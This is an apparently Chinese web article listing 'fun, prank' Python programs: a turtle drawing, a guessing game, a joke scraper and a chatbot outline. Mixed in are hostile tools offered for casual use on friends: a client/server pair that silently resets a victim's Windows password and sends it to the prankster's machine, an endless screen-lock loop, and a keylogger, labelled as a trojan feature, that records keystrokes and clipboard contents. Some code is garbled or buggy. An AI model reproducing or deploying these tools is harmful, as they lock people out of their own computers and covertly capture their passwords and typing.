为提高大家对“Python”编程语言的学习兴趣,今天给大家分享几款有趣的Python程序代码,感兴趣的小伙伴可以跟着学习借鉴哦!

分享一:"啥是佩奇?"让Python语言告诉你
用Python代码创作一副佩奇:
- # coding:utf-8
 - import turtle as t
 - t.pensize(4)
 - t.hideturtle()
 - t.colormode(255)
 - t.color((255,155,192),"pink")
 - t.setup(840,500)
 - t.speed(10)
 - #鼻子
 - t.pu()
 - t.goto(-100,100)
 - t.pd()
 - t.seth(-30)
 - t.begin_fill()
 - a=0.4
 - for i in range(120):
 - if 0<=i<30 or 60<=i<90:
 - aa=a+0.08
 - t.lt(3) #向左转3度
 - t.fd(a) #向前走a的步长
 - else:
 - aa=a-0.08
 - t.lt(3)
 - t.fd(a)
 - t.end_fill()
 - t.pu()
 - t.seth(90)
 - t.fd(25)
 - t.seth(0)
 - t.fd(10)
 - t.pd()
 - t.pencolor(255,155,192)
 - t.seth(10)
 - t.begin_fill()
 - t.circle(5)
 - t.color(160,82,45)
 - t.end_fill()
 - t.pu()
 - t.seth(0)
 - t.fd(20)
 - t.pd()
 - t.pencolor(255,155,192)
 - t.seth(10)
 - t.begin_fill()
 - t.circle(5)
 - t.color(160,82,45)
 - t.end_fill()
 - #头
 - t.color((255,155,192),"pink")
 - t.pu()
 - t.seth(90)
 - t.fd(41)
 - t.seth(0)
 - t.fd(0)
 - t.pd()
 - t.begin_fill()
 - t.seth(180)
 - t.circle(300,-30)
 - t.circle(100,-60)
 - t.circle(80,-100)
 - t.circle(150,-20)
 - t.circle(60,-95)
 - t.seth(161)
 - t.circle(-300,15)
 - t.pu()
 - t.goto(-100,100)
 - t.pd()
 - t.seth(-30)
 - a=0.4
 - for i in range(60):
 - if 0<=i<30 or 60<=i<90:
 - aa=a+0.08
 - t.lt(3) #向左转3度
 - t.fd(a) #向前走a的步长
 - else:
 - aa=a-0.08
 - t.lt(3)
 - t.fd(a)
 - t.end_fill()
 - #耳朵
 - t.color((255,155,192),"pink")
 - t.pu()
 - t.seth(90)
 - t.fd(-7)
 - t.seth(0)
 - t.fd(70)
 - t.pd()
 - t.begin_fill()
 - t.seth(100)
 - t.circle(-50,50)
 - t.circle(-10,120)
 - t.circle(-50,54)
 - t.end_fill()
 - t.pu()
 - t.seth(90)
 - t.fd(-12)
 - t.seth(0)
 - t.fd(30)
 - t.pd()
 - t.begin_fill()
 - t.seth(100)
 - t.circle(-50,50)
 - t.circle(-10,120)
 - t.circle(-50,56)
 - t.end_fill()
 - #眼睛
 - t.color((255,155,192),"white")
 - t.pu()
 - t.seth(90)
 - t.fd(-20)
 - t.seth(0)
 - t.fd(-95)
 - t.pd()
 - t.begin_fill()
 - t.circle(15)
 - t.end_fill()
 - t.color("black")
 - t.pu()
 - t.seth(90)
 - t.fd(12)
 - t.seth(0)
 - t.fd(-3)
 - t.pd()
 - t.begin_fill()
 - t.circle(3)
 - t.end_fill()
 - t.color((255,155,192),"white")
 - t.pu()
 - t.seth(90)
 - t.fd(-25)
 - t.seth(0)
 - t.fd(40)
 - t.pd()
 - t.begin_fill()
 - t.circle(15)
 - t.end_fill()
 - t.color("black")
 - t.pu()
 - t.seth(90)
 - t.fd(12)
 - t.seth(0)
 - t.fd(-3)
 - t.pd()
 - t.begin_fill()
 - t.circle(3)
 - t.end_fill()
 - #腮
 - t.color((255,155,192))
 - t.pu()
 - t.seth(90)
 - t.fd(-95)
 - t.seth(0)
 - t.fd(65)
 - t.pd()
 - t.begin_fill()
 - t.circle(30)
 - t.end_fill()
 - #嘴
 - t.color(239,69,19)
 - t.pu()
 - t.seth(90)
 - t.fd(15)
 - t.seth(0)
 - t.fd(-100)
 - t.pd()
 - t.seth(-80)
 - t.circle(30,40)
 - t.circle(40,80)
 - #身体
 - t.color("red",(255,99,71))
 - t.pu()
 - t.seth(90)
 - t.fd(-20)
 - t.seth(0)
 - t.fd(-78)
 - t.pd()
 - t.begin_fill()
 - t.seth(-130)
 - t.circle(100,10)
 - t.circle(300,30)
 - t.seth(0)
 - t.fd(230)
 - t.seth(90)
 - t.circle(300,30)
 - t.circle(100,3)
 - t.color((255,155,192),(255,100,100))
 - t.seth(-135)
 - t.circle(-80,63)
 - t.circle(-150,24)
 - t.end_fill()
 - #手
 - t.color((255,155,192))
 - t.pu()
 - t.seth(90)
 - t.fd(-40)
 - t.seth(0)
 - t.fd(-27)
 - t.pd()
 - t.seth(-160)
 - t.circle(300,15)
 - t.pu()
 - t.seth(90)
 - t.fd(15)
 - t.seth(0)
 - t.fd(0)
 - t.pd()
 - t.seth(-10)
 - t.circle(-20,90)
 - t.pu()
 - t.seth(90)
 - t.fd(30)
 - t.seth(0)
 - t.fd(237)
 - t.pd()
 - t.seth(-20)
 - t.circle(-300,15)
 - t.pu()
 - t.seth(90)
 - t.fd(20)
 - t.seth(0)
 - t.fd(0)
 - t.pd()
 - t.seth(-170)
 - t.circle(20,90)
 - #脚
 - t.pensize(10)
 - t.color((240,128,128))
 - t.pu()
 - t.seth(90)
 - t.fd(-75)
 - t.seth(0)
 - t.fd(-180)
 - t.pd()
 - t.seth(-90)
 - t.fd(40)
 - t.seth(-180)
 - t.color("black")
 - t.pensize(15)
 - t.fd(20)
 - t.pensize(10)
 - t.color((240,128,128))
 - t.pu()
 - t.seth(90)
 - t.fd(40)
 - t.seth(0)
 - t.fd(90)
 - t.pd()
 - t.seth(-90)
 - t.fd(40)
 - t.seth(-180)
 - t.color("black")
 - t.pensize(15)
 - t.fd(20)
 - #尾巴
 - t.pensize(4)
 - t.color((255,155,192))
 - t.pu()
 - t.seth(90)
 - t.fd(70)
 - t.seth(0)
 - t.fd(95)
 - t.pd()
 - t.seth(0)
 - t.circle(70,20)
 - t.circle(10,330)
 - t.circle(70,30)
 - t.done()
 
效果图如下:
分享二:一个可以套路别人的python小程序
程序是使用pycharm工具,python语言所写。程序包括客户端 client.py 和服务器端 server.py 两部分,利用了python中的socket包。
使用方法:
首先,你需要你和你的朋友在同一个局域网内,然后在你的主机上,运行服务器端 server.py。
然后,让你的朋友在他的电脑上运行客户端 client.py。
此时你朋友电脑的windows用户密码,就会变成一个随机密码,且这个生成的随机密码他本人无法得知,而是把这个密码通过socket传给了服务器端的你。
嗯,然后你朋友的电脑密码就只有你自己知道了~
上代码:
- # client.py:
 - import socket
 - import getpass
 - import subprocess
 - import random
 - phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 - phone.connect(('172.17.21.56', 8080))
 - user = getpass.getuser()
 - psd = ''
 - for j in range(1, 9):
 - m = str(random.randrange(0, 10))
 - psdpsd = psd + m
 - subprocess.Popen(['net', 'User', user, psd])
 - phone.send(psd.encode('utf-8'))
 - back_msg = phone.recv(1024)
 - phone.close()
 - # server.py
 - import socket
 - phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 - phone.bind(('172.17.21.56', 8080))
 - phone.listen(5)
 - print('starting....')
 - conn, addr = phone.accept()
 - print(conn)
 - print('client addr', addr)
 - print('ready to read msg')
 - client_msg = conn.recv(1024)
 - print('client msg: %s' % client_msg)
 - conn.send(client_msg.upper())
 - conn.close()
 - phone.close()
 
分享三:一段Python 恶搞代码
代码运行后windows将无限锁屏
代码如下:
- from ctypes import *
 - while True:
 - user32 = windll.LoadLibrary('user32.dll')
 - user32.LockWorkStation()
 
分享四:一款python代码的数字猜谜小游戏
代码如下:
- import random
 - rang1 = int(input("请设置本局游戏的最小值:"))
 - rang2 = int(input("请设置本局游戏的最大值:"))
 - num = random.randint(rang1,rang2)
 - guess = "guess"
 - print("数字猜谜游戏!")
 - i = 0
 - while guess != num:
 - i += 1
 - guess = int(input("请输入你猜的数字:"))
 - if guess == num:
 - print("恭喜,你猜对了!")
 - elif guess < num:
 - print("你猜的数小了...")
 - else:
 - print("你猜的数大了...")
 - print("你总共猜了%d" %i + "次",end = '')
 - print(",快和你朋友较量一下...")
 
分享五:一段好玩的Python爬虫代码
这几年网络爬虫很火,用Python语言实现网络爬虫最合适不过了,接下来分享一段好玩的爬虫代码:
- # -*- coding: utf-8 -*-
 - import urllib2
 - import re
 - class QSBK:
 - def __init__(self):
 - self.pageIndex = 1
 - self.user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64)'
 - self.headers = {'User-Agent': self.user_agent}
 - self.stories = []
 - # 存放程序是否继续运行的变量
 - self.enable = False
 - # 传入某一页的索引获得页面代码
 - def getPage(self, pageIndex):
 - try:
 - url = 'http://www.qiushibaike.com/hot/page/' + str(pageIndex)
 - request = urllib2.Request(url, headers = self.headers)
 - response = urllib2.urlopen(request)
 - pageCode = response.read().decode('utf-8')
 - return pageCode
 - except urllib2.URLError, e:
 - if hasattr(e, "reason"):
 - print u"连接糗事百科失败,错误原因", e.reason
 - return None
 - # 传入某一页代码,返回本页不带图片的段子列表
 - def getPageItems(self, pageIndex):
 - pageCode = self.getPage(pageIndex)
 - if not pageCode:
 - print "页面加载失败。。。"
 - return None
 - pattern = re.compile('
 .*?.*?number">(.*?)(.*?)(.*?)
.*?"content">(.*?)- items = re.findall(pattern, pageCode)
 - pageStories = []
 - for item in items:
 - rereplaceBR = re.compile('
 
')- text = re.sub(replaceBR,"
 - ",item[1])
 - pageStories.append([item[0].strip(),text.strip(),item[2].strip(),item[3].strip()])
 - return pageStories
 - # 加载并提取页面内容,加入到列表中
 - def loadPage(self):
 - if self.enable == True:
 - if len(self.stories) < 2:
 - pageStories = self.getPageItems(self.pageIndex)
 - if pageStories:
 - self.stories.append(pageStories)
 - self.pageIndex += 1
 - # 调用该方法,回车打印一个段子
 - def getOneStory(self, pageStories, page):
 - for story in pageStories:
 - input = raw_input()
 - self.loadPage()
 - if input == "Q":
 - self.enable = False
 - return
 - print u"第%d页 发布人:%s 赞:%s 评论:%s
 - %s" %(page,story[0],story[2],story[3],story[1])
 - def start(self):
 - print u"正在读取糗事百科,按回车查看新段子,Q退出"
 - self.enable = True
 - self.loadPage()
 - nowPage = 0
 - while self.enable:
 - if len(self.stories) > 0:
 - pageStories = self.stories[0]
 - nowPage += 1
 - del self.stories[0]
 - self.getOneStory(pageStories, nowPage)
 - spider = QSBK()
 - spider.start()
 
分享六、木马程序常用的键盘记录功能实现
Python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windows API的各种调用。Python之所以用起来方便快捷,主要归功于这些庞大的支持库,正所谓"人生苦短,快用Python"。
代码如下:
- # -*- coding: utf-8 -*-
 - from ctypes import *
 - import pythoncom
 - import pyHook
 - import win32clipboard
 - user32 = windll.user32
 - kernel32 = windll.kernel32
 - psapi = windll.psapi
 - current_window = None
 - #
 - def get_current_process():
 - # 获取最上层的窗口句柄
 - hwnd = user32.GetForegroundWindow()
 - # 获取进程ID
 - pid = c_ulong(0)
 - user32.GetWindowThreadProcessId(hwnd,byref(pid))
 - # 将进程ID存入变量中
 - process_id = "%d" % pid.value
 - # 申请内存
 - executable = create_string_buffer("\x00"*512)
 - h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
 - psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
 - # 读取窗口标题
 - windows_title = create_string_buffer("\x00"*512)
 - length = user32.GetWindowTextA(hwnd,byref(windows_title),512)
 - # 打印
 - print "[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value)
 - # 关闭handles
 - kernel32.CloseHandle(hwnd)
 - kernel32.CloseHandle(h_process)
 - # 定义击键监听事件函数
 - def KeyStroke(event):
 - global current_window
 - # 检测目标窗口是否转移(换了其他窗口就监听新的窗口)
 - if event.WindowName != current_window:
 - current_window = event.WindowName
 - # 函数调用
 - get_current_process()
 - # 检测击键是否常规按键(非组合键等)
 - if event.Ascii > 32 and event.Ascii <127:
 - print chr(event.Ascii),
 - else:
 - # 如果发现Ctrl+v(粘贴)事件,就把粘贴板内容记录下来
 - if event.Key == "V":
 - win32clipboard.OpenClipboard()
 - pasted_value = win32clipboard.GetClipboardData()
 - win32clipboard.CloseClipboard()
 - print "[PASTE]-%s" % (pasted_value),
 - else:
 - print "[%s]" % event.Key,
 - # 循环监听下一个击键事件
 - return True
 - # 创建并注册hook管理器
 - kl = pyHook.HookManager()
 - kl.KeyDown = KeyStroke
 - # 注册hook并执行
 - kl.HookKeyboard()
 - pythoncom.PumpMessages()
 
分享七:用Python写一个机器人陪自己聊聊天吧
用Python写一个机器人陪自己聊聊天吧。是不是听起来就很酷,用Python语言、itchat库、图灵机器人就可以轻松实现。
1. 需要的工具
2. 代码如下:
(1) 准备
导入需要使用的第三方库
(2) 获取来自机器人的回复信息
在这里,调用图灵机器人库,把我们接收到的微信好友信息发给图灵机器人,再取回机器人回复的信息,回复给好友。
这里要用到图灵机器人的接口,到图灵机器人官网(http://www.tuling123.com)注册登陆之后,生成一个属于个人的免费接口,免费接口一天只能用1000条,虽然不多,但娱乐一下自己也是足够的了。
创建机器人成功之后会得到apikey,把这串密码放到代码中的"key"里,这一步就完成了。
(3) 接受来自好友之间的对话信息
(4) 接受来自微信群里面的对话信息
如果不需要机器人在群聊里聊天,可以删除这块代码。
(5) 运行
最后一步,登录微信,并运行机器人。
                网站栏目:分享几款由“Python”语言编写的“有趣、恶搞、好玩”的程序代码
                
                网页网址:http://www.csdahua.cn/qtweb/news26/389876.html
            
网站建设、网络推广公司-快上网,是专注品牌与效果的网站制作,网络营销seo公司;服务项目有等
声明:本网站发布的内容(图片、视频和文字)以用户投稿、用户转载内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。电话:028-86922220;邮箱:631063699@qq.com。内容未经允许不得转载,或转载时需注明来源: 快上网